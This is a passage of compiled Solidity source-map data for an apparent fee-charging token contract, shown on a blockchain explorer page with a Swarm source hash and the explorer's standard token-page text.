:14;:25;9046:9;9031:25;;;;;;;;;;;;;;;;;;;;;;;;;9030:26;9003:53;9000:127;;;9080:11;;;;;;;;;;;9072:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;9000:127;9187:9;:20;9197:9;9187:20;;;;;;;;;;;;;;;;;;;;;;;;;9186:21;:43;;;;;9212:9;:17;9222:6;9212:17;;;;;;;;;;;;;;;;;;;;;;;;;9211:18;9186:43;9178:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;9269:16;:14;:16::i;:::-;9266:35;;;9288:10;:8;:10::i;:::-;9266:35;9360:53;9382:6;9360:53;;;;;;;;;;;;;;;;;:9;:17;9370:6;9360:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9340:9;:17;9350:6;9340:17;;;;;;;;;;;;;;;:73;;;;9426:22;9453:21;9467:6;9453:13;:21::i;:::-;9452:22;:51;;;;9479:24;9493:9;9479:13;:24::i;:::-;9478:25;9452:51;9451:99;;9516:34;9524:6;9532;9540:9;9516:7;:34::i;:::-;9451:99;;;9507:6;9451:99;9426:124;;9584:40;9609:14;9584:9;:20;9594:9;9584:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;9561:9;:20;9571:9;9561:20;;;;;;;;;;;;;;;:63;;;;9659:9;9642:43;;9651:6;9642:43;;;9670:14;9642:43;;;;;;:::i;:::-;;;;;;;;9703:4;9696:11;;;8816:899;;;;;;:::o;485:136::-;543:7;570:43;574:1;577;570:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;563:50;;485:136;;;;:::o;825:250::-;883:7;912:1;907;:6;903:47;;937:1;930:8;;;;903:47;962:9;978:1;974;:5;;;;:::i;:::-;962:17;;1007:1;1002;998;:5;;;;:::i;:::-;:10;990:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1066:1;1059:8;;;825:250;;;;;:::o;1081:132::-;1139:7;1166:39;1170:1;1173;1166:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1159:46;;1081:132;;;;:::o;9727:330::-;9820:4;9857:53;9879:6;9857:53;;;;;;;;;;;;;;;;;:9;:17;9867:6;9857:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9837:9;:17;9847:6;9837:17;;;;;;;;;;;;;;;:73;;;;9944:32;9969:6;9944:9;:20;9954:9;9944:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9921:9;:20;9931:9;9921:20;;;;;;;;;;;;;;;:55;;;;10009:9;9992:35;;10001:6;9992:35;;;10020:6;9992:35;;;;;;:::i;:::-;;;;;;;;10045:4;10038:11;;9727:330;;;;;:::o;11336:197::-;11385:4;11423;;;;;;;;;;;11409:18;;:10;:18;;;;:38;;;;;11441:6;;;;;;;;;;;11440:7;11409:38;:62;;;;;11460:11;;;;;;;;;;;11409:62;:116;;;;;11512:13;;11484:9;:24;11502:4;11484:24;;;;;;;;;;;;;;;;:41;;11409:116;11402:123;;11336:197;:::o;11541:1745::-;6413:4;6404:6;;:13;;;;;;;;;;;;;;;;;;11590:27:::1;11620:60;11636:15;;11653:26;;11620:15;:60::i;:::-;:79;;11687:12;;11620:79;;;11683:1;11620:79;11590:109;;11710:23;11736:59;11793:1;11736:52;11779:8;;11736:38;11754:19;11736:13;;:17;;:38;;;;:::i;:::-;:42;;:52;;;;:::i;:::-;:56;;:59;;;;:::i;:::-;11710:85;;11806:20;11829:34;11847:15;11829:13;;:17;;:34;;;;:::i;:::-;11806:57;;11876:21;11914:1;11900:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11876:40;;11945:4;11927;11932:1;11927:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11971:4;;;;;;;;;;;11961;11966:1;11961:7;;;;;;;;:::i;:::-;;;;;;;:14;;;;;;;;;::::0;::::1;11988:21;12012;11988:45;;12046:6;;;;;;;;;;;:57;;;12118:12;12145:1;12161:4;12188;12208:15;12046:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12247:17;12267:40;12293:13;12267:21;:25;;:40;;;;:::i;:::-;12247:60;;12320:19;12342:40;12355:26;12379:1;12355:19;:23;;:26;;;;:::i;:::-;12342:8;;:12;;:40;;;;:::i;:::-;12320:62;;12403:26;12432:58;12488:1;12432:51;12471:11;12432:34;12446:19;12432:9;:13;;:34;;;;:::i;:::-;:38;;:51;;;;:::i;:::-;:55;;:58;;;;:::i;:::-;12403:87;;12501:26;12530:44;12562:11;12530:27;12544:12;;12530:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;12501:73;;12585:24;12612:42;12642:11;12612:25;12626:10;;12612:9;:13;;:25;;;;:::i;:::-;:29;;:42;;;;:::i;:::-;12585:69;;12668:15;12696:20;;;;;;;;;;;12688:34;;12730:18;12755:5;12688:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12667:98;;;12800:18;;;;;;;;;;;12792:32;;12832:16;12855:5;12792:73;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12776:89;;;;;12899:5;12886:18;;12938:1;12920:15;:19;12917:362;;;12955:6;;;;;;;;;;;:22;;;12985:18;13031:4;13055:15;13089:1;13109::::0;13129:21:::1;;;;;;;;;;;13169:15;12955:244;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13219:48;13231:18;13251:15;13219:48;;;;;;;:::i;:::-;;;;;;;;12917:362;11579:1707;;;;;;;;;;;6431:5:::0;6422:6;;:14;;;;;;;;;;;;;;;;;;11541:1745::o;10239:114::-;10301:4;10326:11;:19;10338:6;10326:19;;;;;;;;;;;;;;;;;;;;;;;;;10325:20;10318:27;;10239:114;;;:::o;10361:967::-;10447:7;10477:18;10498;;10477:39;;10543:4;;;;;;;;;;;10530:17;;:9;:17;;;10527:152;;10576:14;;10563:27;;10527:152;;;10621:4;;;;;;;;;;;10611:14;;:6;:14;;;10608:71;;10654:13;;10641:26;;10608:71;10527:152;10691:17;10711:62;10769:3;10752:14;;:20;;;;:::i;:::-;10711:36;10736:10;10711:20;10722:8;;10711:6;:10;;:20;;;;:::i;:::-;:24;;:36;;;;:::i;:::-;:40;;:62;;;;:::i;:::-;10691:82;;10786:21;10810:39;10840:8;;10810:25;10824:10;;10810:9;:13;;:25;;;;:::i;:::-;:29;;:39;;;;:::i;:::-;10786:63;;10860:22;10885:28;10899:13;10885:9;:13;;:28;;;;:::i;:::-;10860:53;;10953:44;10982:14;10953:9;:24;10971:4;10953:24;;;;;;;;;;;;;;;;:28;;:44;;;;:::i;:::-;10926:9;:24;10944:4;10926:24;;;;;;;;;;;;;;;:71;;;;11040:48;11074:13;11040:9;:29;11050:18;;;;;;;;;;;11040:29;;;;;;;;;;;;;;;;:33;;:48;;;;:::i;:::-;11008:9;:29;11018:18;;;;;;;;;;;11008:29;;;;;;;;;;;;;;;:80;;;;11129:4;11104:47;;11113:6;11104:47;;;11136:14;11104:47;;;;;;:::i;:::-;;;;;;;;11191:1;11175:13;:17;11172:108;;;11230:18;;;;;;;;;;;11213:51;;11222:6;11213:51;;;11250:13;11213:51;;;;;;:::i;:::-;;;;;;;;11172:108;11299:21;11310:9;11299:6;:10;;:21;;;;:::i;:::-;11292:28;;;;;;10361:967;;;;;:::o;298:181::-;356:7;376:9;392:1;388;:5;;;;:::i;:::-;376:17;;417:1;412;:6;;404:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;470:1;463:8;;;298:181;;;;:::o;1219:189::-;1305:7;1337:1;1333;:5;1340:12;1325:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1364:9;1380:1;1376;:5;;;;:::i;:::-;1364:17;;1399:1;1392:8;;;1219:189;;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:99::-;494:6;528:5;522:12;512:22;;442:99;;;:::o;547:169::-;631:11;665:6;660:3;653:19;705:4;700:3;696:14;681:29;;547:169;;;;:::o;722:246::-;803:1;813:113;827:6;824:1;821:13;813:113;;;912:1;907:3;903:11;897:18;893:1;888:3;884:11;877:39;849:2;846:1;842:10;837:15;;813:113;;;960:1;951:6;946:3;942:16;935:27;784:184;722:246;;;:::o;974:102::-;1015:6;1066:2;1062:7;1057:2;1050:5;1046:14;1042:28;1032:38;;974:102;;;:::o;1082:377::-;1170:3;1198:39;1231:5;1198:39;:::i;:::-;1253:71;1317:6;1312:3;1253:71;:::i;:::-;1246:78;;1333:65;1391:6;1386:3;1379:4;1372:5;1368:16;1333:65;:::i;:::-;1423:29;1445:6;1423:29;:::i;:::-;1418:3;1414:39;1407:46;;1174:285;1082:377;;;;:::o;1465:313::-;1578:4;1616:2;1605:9;1601:18;1593:26;;1665:9;1659:4;1655:20;1651:1;1640:9;1636:17;1629:47;1693:78;1766:4;1757:6;1693:78;:::i;:::-;1685:86;;1465:313;;;;:::o;1865:117::-;1974:1;1971;1964:12;1988:117;2097:1;2094;2087:12;2111:122;2184:24;2202:5;2184:24;:::i;:::-;2177:5;2174:35;2164:63;;2223:1;2220;2213:12;2164:63;2111:122;:::o;2239:139::-;2285:5;2323:6;2310:20;2301:29;;2339:33;2366:5;2339:33;:::i;:::-;2239:139;;;;:::o;2384:329::-;2443:6;2492:2;2480:9;2471:7;2467:23;2463:32;2460:119;;;2498:79;;:::i;:::-;2460:119;2618:1;2643:53;2688:7;2679:6;2668:9;2664:22;2643:53;:::i;:::-;2633:63;;2589:117;2384:329;;;;:::o;2719:126::-;2756:7;2796:42;2789:5;2785:54;2774:65;;2719:126;;;:::o;2851:96::-;2888:7;2917:24;2935:5;2917:24;:::i;:::-;2906:35;;2851:96;;;:::o;2953:122::-;3026:24;3044:5;3026:24;:::i;:::-;3019:5;3016:35;3006:63;;3065:1;3062;3055:12;3006:63;2953:122;:::o;3081:139::-;3127:5;3165:6;3152:20;3143:29;;3181:33;3208:5;3181:33;:::i;:::-;3081:139;;;;:::o;3226:474::-;3294:6;3302;3351:2;3339:9;3330:7;3326:23;3322:32;3319:119;;;3357:79;;:::i;:::-;3319:119;3477:1;3502:53;3547:7;3538:6;3527:9;3523:22;3502:53;:::i;:::-;3492:63;;3448:117;3604:2;3630:53;3675:7;3666:6;3655:9;3651:22;3630:53;:::i;:::-;3620:63;;3575:118;3226:474;;;;;:::o;3706:90::-;3740:7;3783:5;3776:13;3769:21;3758:32;;3706:90;;;:::o;3802:109::-;3883:21;3898:5;3883:21;:::i;:::-;3878:3;3871:34;3802:109;;:::o;3917:210::-;4004:4;4042:2;4031:9;4027:18;4019:26;;4055:65;4117:1;4106:9;4102:17;4093:6;4055:65;:::i;:::-;3917:210;;;;:::o;4133:474::-;4201:6;4209;4258:2;4246:9;4237:7;4233:23;4229:32;4226:119;;;4264:79;;:::i;:::-;4226:119;4384:1;4409:53;4454:7;4445:6;4434:9;4430:22;4409:53;:::i;:::-;4399:63;;4355:117;4511:2;4537:53;4582:7;4573:6;4562:9;4558:22;4537:53;:::i;:::-;4527:63;;4482:118;4133:474;;;;;:::o;4613:104::-;4658:7;4687:24;4705:5;4687:24;:::i;:::-;4676:35;;4613:104;;;:::o;4723:138::-;4804:32;4830:5;4804:32;:::i;:::-;4797:5;4794:43;4784:71;;4851:1;4848;4841:12;4784:71;4723:138;:::o;4867:155::-;4921:5;4959:6;4946:20;4937:29;;4975:41;5010:5;4975:41;:::i;:::-;4867:155;;;;:::o;5028:345::-;5095:6;5144:2;5132:9;5123:7;5119:23;5115:32;5112:119;;;5150:79;;:::i;:::-;5112:119;5270:1;5295:61;5348:7;5339:6;5328:9;5324:22;5295:61;:::i;:::-;5285:71;;5241:125;5028:345;;;;:::o;5379:619::-;5456:6;5464;5472;5521:2;5509:9;5500:7;5496:23;5492:32;5489:119;;;5527:79;;:::i;:::-;5489:119;5647:1;5672:53;5717:7;5708:6;5697:9;5693:22;5672:53;:::i;:::-;5662:63;;5618:117;5774:2;5800:53;5845:7;5836:6;5825:9;5821:22;5800:53;:::i;:::-;5790:63;;5745:118;5902:2;5928:53;5973:7;5964:6;5953:9;5949:22;5928:53;:::i;:::-;5918:63;;5873:118;5379:619;;;;;:::o;6004:329::-;6063:6;6112:2;6100:9;6091:7;6087:23;6083:32;6080:119;;;6118:79;;:::i;:::-;6080:119;6238:1;6263:53;6308:7;6299:6;6288:9;6284:22;6263:53;:::i;:::-;6253:63;;6209:117;6004:329;;;;:::o;6339:86::-;6374:7;6414:4;6407:5;6403:16;6392:27;;6339:86;;;:::o;6431:112::-;6514:22;6530:5;6514:22;:::i;:::-;6509:3;6502:35;6431:112;;:::o;6549:214::-;6638:4;6676:2;6665:9;6661:18;6653:26;;6689:67;6753:1;6742:9;6738:17;6729:6;6689:67;:::i;:::-;6549:214;;;;:::o;6769:765::-;6855:6;6863;6871;6879;6928:3;6916:9;6907:7;6903:23;6899:33;6896:120;;;6935:79;;:::i;:::-;6896:120;7055:1;7080:53;7125:7;7116:6;7105:9;7101:22;7080:53;:::i;:::-;7070:63;;7026:117;7182:2;7208:53;7253:7;7244:6;7233:9;7229:22;7208:53;:::i;:::-;7198:63;;7153:118;7310:2;7336:53;7381:7;7372:6;7361:9;7357:22;7336:53;:::i;:::-;7326:63;;7281:118;7438:2;7464:53;7509:7;7500:6;7489:9;7485:22;7464:53;:::i;:::-;7454:63;;7409:118;6769:765;;;;;;;:::o;7540:117::-;7649:1;7646;7639:12;7663:117;7772:1;7769;7762:12;7786:117;7895:1;7892;7885:12;7926:568;7999:8;8009:6;8059:3;8052:4;8044:6;8040:17;8036:27;8026:122;;8067:79;;:::i;:::-;8026:122;8180:6;8167:20;8157:30;;8210:18;8202:6;8199:30;8196:117;;;8232:79;;:::i;:::-;8196:117;8346:4;8338:6;8334:17;8322:29;;8400:3;8392:4;8384:6;8380:17;8370:8;8366:32;8363:41;8360:128;;;8407:79;;:::i;:::-;8360:128;7926:568;;;;;:::o;8500:559::-;8586:6;8594;8643:2;8631:9;8622:7;8618:23;8614:32;8611:119;;;8649:79;;:::i;:::-;8611:119;8797:1;8786:9;8782:17;8769:31;8827:18;8819:6;8816:30;8813:117;;;8849:79;;:::i;:::-;8813:117;8962:80;9034:7;9025:6;9014:9;9010:22;8962:80;:::i;:::-;8944:98;;;;8740:312;8500:559;;;;;:::o;9065:118::-;9152:24;9170:5;9152:24;:::i;:::-;9147:3;9140:37;9065:118;;:::o;9189:222::-;9282:4;9320:2;9309:9;9305:18;9297:26;;9333:71;9401:1;9390:9;9386:17;9377:6;9333:71;:::i;:::-;9189:222;;;;:::o;9417:474::-;9485:6;9493;9542:2;9530:9;9521:7;9517:23;9513:32;9510:119;;;9548:79;;:::i;:::-;9510:119;9668:1;9693:53;9738:7;9729:6;9718:9;9714:22;9693:53;:::i;:::-;9683:63;;9639:117;9795:2;9821:53;9866:7;9857:6;9846:9;9842:22;9821:53;:::i;:::-;9811:63;;9766:118;9417:474;;;;;:::o;9897:116::-;9967:21;9982:5;9967:21;:::i;:::-;9960:5;9957:32;9947:60;;10003:1;10000;9993:12;9947:60;9897:116;:::o;10019:133::-;10062:5;10100:6;10087:20;10078:29;;10116:30;10140:5;10116:30;:::i;:::-;10019:133;;;;:::o;10158:468::-;10223:6;10231;10280:2;10268:9;10259:7;10255:23;10251:32;10248:119;;;10286:79;;:::i;:::-;10248:119;10406:1;10431:50;10473:7;10464:6;10453:9;10449:22;10431:50;:::i;:::-;10421:60;;10377:114;10530:2;10556:53;10601:7;10592:6;10581:9;10577:22;10556:53;:::i;:::-;10546:63;;10501:118;10158:468;;;;;:::o;10632:60::-;10660:3;10681:5;10674:12;;10632:60;;;:::o;10698:142::-;10748:9;10781:53;10799:34;10808:24;10826:5;10808:24;:::i;:::-;10799:34;:::i;:::-;10781:53;:::i;:::-;10768:66;;10698:142;;;:::o;10846:126::-;10896:9;10929:37;10960:5;10929:37;:::i;:::-;10916:50;;10846:126;;;:::o;10978:144::-;11046:9;11079:37;11110:5;11079:37;:::i;:::-;11066:50;;10978:144;;;:::o;11128:167::-;11233:55;11282:5;11233:55;:::i;:::-;11228:3;11221:68;11128:167;;:::o;11301:258::-;11412:4;11450:2;11439:9;11435:18;11427:26;;11463:89;11549:1;11538:9;11534:17;11525:6;11463:89;:::i;:::-;11301:258;;;;:::o;11565:156::-;11705:8;11701:1;11693:6;11689:14;11682:32;11565:156;:::o;11727:365::-;11869:3;11890:66;11954:1;11949:3;11890:66;:::i;:::-;11883:73;;11965:93;12054:3;11965:93;:::i;:::-;12083:2;12078:3;12074:12;12067:19;;11727:365;;;:::o;12098:419::-;12264:4;12302:2;12291:9;12287:18;12279:26;;12351:9;12345:4;12341:20;12337:1;12326:9;12322:17;12315:47;12379:131;12505:4;12379:131;:::i;:::-;12371:139;;12098:419;;;:::o;12523:235::-;12663:34;12659:1;12651:6;12647:14;12640:58;12732:18;12727:2;12719:6;12715:15;12708:43;12523:235;:::o;12764:366::-;12906:3;12927:67;12991:2;12986:3;12927:67;:::i;:::-;12920:74;;13003:93;13092:3;13003:93;:::i;:::-;13121:2;13116:3;13112:12;13105:19;;12764:366;;;:::o;13136:419::-;13302:4;13340:2;13329:9;13325:18;13317:26;;13389:9;13383:4;13379:20;13375:1;13364:9;13360:17;13353:47;13417:131;13543:4;13417:131;:::i;:::-;13409:139;;13136:419;;;:::o;13561:180::-;13609:77;13606:1;13599:88;13706:4;13703:1;13696:15;13730:4;13727:1;13720:15;13747:410;13787:7;13810:20;13828:1;13810:20;:::i;:::-;13805:25;;13844:20;13862:1;13844:20;:::i;:::-;13839:25;;13899:1;13896;13892:9;13921:30;13939:11;13921:30;:::i;:::-;13910:41;;14100:1;14091:7;14087:15;14084:1;14081:22;14061:1;14054:9;14034:83;14011:139;;14130:18;;:::i;:::-;14011:139;13795:362;13747:410;;;;:::o;14163:180::-;14211:77;14208:1;14201:88;14308:4;14305:1;14298:15;14332:4;14329:1;14322:15;14349:185;14389:1;14406:20;14424:1;14406:20;:::i;:::-;14401:25;;14440:20;14458:1;14440:20;:::i;:::-;14435:25;;14479:1;14469:35;;14484:18;;:::i;:::-;14469:35;14526:1;14523;14519:9;14514:14;;14349:185;;;;:::o;14540:134::-;14598:9;14631:37;14662:5;14631:37;:::i;:::-;14618:50;;14540:134;;;:::o;14680:147::-;14775:45;14814:5;14775:45;:::i;:::-;14770:3;14763:58;14680:147;;:::o;14833:238::-;14934:4;14972:2;14961:9;14957:18;14949:26;;14985:79;15061:1;15050:9;15046:17;15037:6;14985:79;:::i;:::-;14833:238;;;;:::o;15077:180::-;15125:77;15122:1;15115:88;15222:4;15219:1;15212:15;15246:4;15243:1;15236:15;15263:233;15302:3;15325:24;15343:5;15325:24;:::i;:::-;15316:33;;15371:66;15364:5;15361:77;15358:103;;15441:18;;:::i;:::-;15358:103;15488:1;15481:5;15477:13;15470:20;;15263:233;;;:::o;15502:332::-;15623:4;15661:2;15650:9;15646:18;15638:26;;15674:71;15742:1;15731:9;15727:17;15718:6;15674:71;:::i;:::-;15755:72;15823:2;15812:9;15808:18;15799:6;15755:72;:::i;:::-;15502:332;;;;;:::o;15840:137::-;15894:5;15925:6;15919:13;15910:22;;15941:30;15965:5;15941:30;:::i;:::-;15840:137;;;;:::o;15983:345::-;16050:6;16099:2;16087:9;16078:7;16074:23;16070:32;16067:119;;;16105:79;;:::i;:::-;16067:119;16225:1;16250:61;16303:7;16294:6;16283:9;16279:22;16250:61;:::i;:::-;16240:71;;16196:125;15983:345;;;;:::o;16334:242::-;16474:34;16470:1;16462:6;16458:14;16451:58;16543:25;16538:2;16530:6;16526:15;16519:50;16334:242;:::o;16582:366::-;16724:3;16745:67;16809:2;16804:3;16745:67;:::i;:::-;16738:74;;16821:93;16910:3;16821:93;:::i;:::-;16939:2;16934:3;16930:12;16923:19;;16582:366;;;:::o;16954:419::-;17120:4;17158:2;17147:9;17143:18;17135:26;;17207:9;17201:4;17197:20;17193:1;17182:9;17178:17;17171:47;17235:131;17361:4;17235:131;:::i;:::-;17227:139;;16954:419;;;:::o;17379:194::-;17419:4;17439:20;17457:1;17439:20;:::i;:::-;17434:25;;17473:20;17491:1;17473:20;:::i;:::-;17468:25;;17517:1;17514;17510:9;17502:17;;17541:1;17535:4;17532:11;17529:37;;;17546:18;;:::i;:::-;17529:37;17379:194;;;;:::o;17579:170::-;17719:22;17715:1;17707:6;17703:14;17696:46;17579:170;:::o;17755:366::-;17897:3;17918:67;17982:2;17977:3;17918:67;:::i;:::-;17911:74;;17994:93;18083:3;17994:93;:::i;:::-;18112:2;18107:3;18103:12;18096:19;;17755:366;;;:::o;18127:419::-;18293:4;18331:2;18320:9;18316:18;18308:26;;18380:9;18374:4;18370:20;18366:1;18355:9;18351:17;18344:47;18408:131;18534:4;18408:131;:::i;:::-;18400:139;;18127:419;;;:::o;18552:169::-;18692:21;18688:1;18680:6;18676:14;18669:45;18552:169;:::o;18727:366::-;18869:3;18890:67;18954:2;18949:3;18890:67;:::i;:::-;18883:74;;18966:93;19055:3;18966:93;:::i;:::-;19084:2;19079:3;19075:12;19068:19;;18727:366;;;:::o;19099:419::-;19265:4;19303:2;19292:9;19288:18;19280:26;;19352:9;19346:4;19342:20;19338:1;19327:9;19323:17;19316:47;19380:131;19506:4;19380:131;:::i;:::-;19372:139;;19099:419;;;:::o;19524:220::-;19664:34;19660:1;19652:6;19648:14;19641:58;19733:3;19728:2;19720:6;19716:15;19709:28;19524:220;:::o;19750:366::-;19892:3;19913:67;19977:2;19972:3;19913:67;:::i;:::-;19906:74;;19989:93;20078:3;19989:93;:::i;:::-;20107:2;20102:3;20098:12;20091:19;;19750:366;;;:::o;20122:419::-;20288:4;20326:2;20315:9;20311:18;20303:26;;20375:9;20369:4;20365:20;20361:1;20350:9;20346:17;20339:47;20403:131;20529:4;20403:131;:::i;:::-;20395:139;;20122:419;;;:::o;20547:180::-;20595:77;20592:1;20585:88;20692:4;20689:1;20682:15;20716:4;20713:1;20706:15;20733:85;20778:7;20807:5;20796:16;;20733:85;;;:::o;20824:158::-;20882:9;20915:61;20933:42;20942:32;20968:5;20942:32;:::i;:::-;20933:42;:::i;:::-;20915:61;:::i;:::-;20902:74;;20824:158;;;:::o;20988:147::-;21083:45;21122:5;21083:45;:::i;:::-;21078:3;21071:58;20988:147;;:::o;21141:114::-;21208:6;21242:5;21236:12;21226:22;;21141:114;;;:::o;21261:184::-;21360:11;21394:6;21389:3;21382:19;21434:4;21429:3;21425:14;21410:29;;21261:184;;;;:::o;21451:132::-;21518:4;21541:3;21533:11;;21571:4;21566:3;21562:14;21554:22;;21451:132;;;:::o;21589:108::-;21666:24;21684:5;21666:24;:::i;:::-;21661:3;21654:37;21589:108;;:::o;21703:179::-;21772:10;21793:46;21835:3;21827:6;21793:46;:::i;:::-;21871:4;21866:3;21862:14;21848:28;;21703:179;;;;:::o;21888:113::-;21958:4;21990;21985:3;21981:14;21973:22;;21888:113;;;:::o;22037:732::-;22156:3;22185:54;22233:5;22185:54;:::i;:::-;22255:86;22334:6;22329:3;22255:86;:::i;:::-;22248:93;;22365:56;22415:5;22365:56;:::i;:::-;22444:7;22475:1;22460:284;22485:6;22482:1;22479:13;22460:284;;;22561:6;22555:13;22588:63;22647:3;22632:13;22588:63;:::i;:::-;22581:70;;22674:60;22727:6;22674:60;:::i;:::-;22664:70;;22520:224;22507:1;22504;22500:9;22495:14;;22460:284;;;22464:14;22760:3;22753:10;;22161:608;;;22037:732;;;;:::o;22775:831::-;23038:4;23076:3;23065:9;23061:19;23053:27;;23090:71;23158:1;23147:9;23143:17;23134:6;23090:71;:::i;:::-;23171:80;23247:2;23236:9;23232:18;23223:6;23171:80;:::i;:::-;23298:9;23292:4;23288:20;23283:2;23272:9;23268:18;23261:48;23326:108;23429:4;23420:6;23326:108;:::i;:::-;23318:116;;23444:72;23512:2;23501:9;23497:18;23488:6;23444:72;:::i;:::-;23526:73;23594:3;23583:9;23579:19;23570:6;23526:73;:::i;:::-;22775:831;;;;;;;;:::o;23612:147::-;23713:11;23750:3;23735:18;;23612:147;;;;:::o;23765:114::-;;:::o;23885:398::-;24044:3;24065:83;24146:1;24141:3;24065:83;:::i;:::-;24058:90;;24157:93;24246:3;24157:93;:::i;:::-;24275:1;24270:3;24266:11;24259:18;;23885:398;;;:::o;24289:379::-;24473:3;24495:147;24638:3;24495:147;:::i;:::-;24488:154;;24659:3;24652:10;;24289:379;;;:::o;24674:807::-;24923:4;24961:3;24950:9;24946:19;24938:27;;24975:71;25043:1;25032:9;25028:17;25019:6;24975:71;:::i;:::-;25056:72;25124:2;25113:9;25109:18;25100:6;25056:72;:::i;:::-;25138:80;25214:2;25203:9;25199:18;25190:6;25138:80;:::i;:::-;25228;25304:2;25293:9;25289:18;25280:6;25228:80;:::i;:::-;25318:73;25386:3;25375:9;25371:19;25362:6;25318:73;:::i;:::-;25401;25469:3;25458:9;25454:19;25445:6;25401:73;:::i;:::-;24674:807;;;;;;;;;:::o;25487:143::-;25544:5;25575:6;25569:13;25560:22;;25591:33;25618:5;25591:33;:::i;:::-;25487:143;;;;:::o;25636:663::-;25724:6;25732;25740;25789:2;25777:9;25768:7;25764:23;25760:32;25757:119;;;25795:79;;:::i;:::-;25757:119;25915:1;25940:64;25996:7;25987:6;25976:9;25972:22;25940:64;:::i;:::-;25930:74;;25886:128;26053:2;26079:64;26135:7;26126:6;26115:9;26111:22;26079:64;:::i;:::-;26069:74;;26024:129;26192:2;26218:64;26274:7;26265:6;26254:9;26250:22;26218:64;:::i;:::-;26208:74;;26163:129;25636:663;;;;;:::o;26305:332::-;26426:4;26464:2;26453:9;26449:18;26441:26;;26477:71;26545:1;26534:9;26530:17;26521:6;26477:71;:::i;:::-;26558:72;26626:2;26615:9;26611:18;26602:6;26558:72;:::i;:::-;26305:332;;;;;:::o;26643:191::-;26683:3;26702:20;26720:1;26702:20;:::i;:::-;26697:25;;26736:20;26754:1;26736:20;:::i;:::-;26731:25;;26779:1;26776;26772:9;26765:16;;26800:3;26797:1;26794:10;26791:36;;;26807:18;;:::i;:::-;26791:36;26643:191;;;;:::o;26840:177::-;26980:29;26976:1;26968:6;26964:14;26957:53;26840:177;:::o;27023:366::-;27165:3;27186:67;27250:2;27245:3;27186:67;:::i;:::-;27179:74;;27262:93;27351:3;27262:93;:::i;:::-;27380:2;27375:3;27371:12;27364:19;;27023:366;;;:::o;27395:419::-;27561:4;27599:2;27588:9;27584:18;27576:26;;27648:9;27642:4;27638:20;27634:1;27623:9;27619:17;27612:47;27676:131;27802:4;27676:131;:::i;:::-;27668:139;;27395:419;;;:::o

Swarm Source

ipfs://bfa735fe922a172214575243780f6018aec9b2809d81f2823d1abd86c945b04e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.